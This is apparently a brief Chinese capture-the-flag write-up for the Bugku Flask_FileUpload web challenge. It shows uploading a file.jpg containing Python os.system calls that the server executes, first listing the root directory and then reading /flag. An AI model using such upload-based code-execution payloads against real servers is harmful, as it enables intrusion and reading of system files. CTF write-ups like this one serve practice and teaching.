技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
二哈喇子!
6 小时前
BOM模型
开发语言·前端·javascript·bom
二哈喇子!
6 小时前
Vue2 监听器 watcher
前端·javascript·vue.js
jaray
6 小时前
PyCharm 2024.3.2 Professional 如何更换 PyPI 镜像源
ide·python·pycharm·pypi 镜像源
Psycho_MrZhang
6 小时前
Neo4j Python SDK手册
开发语言·python·neo4j
yanyu-yaya
6 小时前
前端面试题
前端·面试·前端框架
web3.0888999
6 小时前
1688图片搜索API,相似商品精准推荐
开发语言·python
二哈喇子!
6 小时前
使用NVM下载Node.js管理多版本
前端·npm·node.js
少云清
6 小时前
【性能测试】15_JMeter _JMeter插件安装使用
开发语言·python·jmeter
光羽隹衡
7 小时前
机器学习——TF-IDF实战(红楼梦数据处理)
python·tf-idf
GGGG寄了
7 小时前
HTML——文本标签
开发语言·前端·html
热门推荐
01GitHub 镜像站点02OpenCode 入门教程:介绍 · 安装 · 配置第三方 API (如 Claude)03Claude Code Skills 实用使用手册04UV安装并设置国内源05在VSCode配置Java开发环境的保姆级教程(适配各类AI编程IDE)06BongoCat - 跨平台键盘猫动画工具07安娜的档案(Anna’s Archive) 镜像网站/国内最新可访问入口(持续更新)08AI 规范驱动开发“三剑客”深度对比:Spec-Kit、Kiro 与 OpenSpec 实战指南09Linux下V2Ray安装配置指南10Open Code教程(四)| 高级配置与集成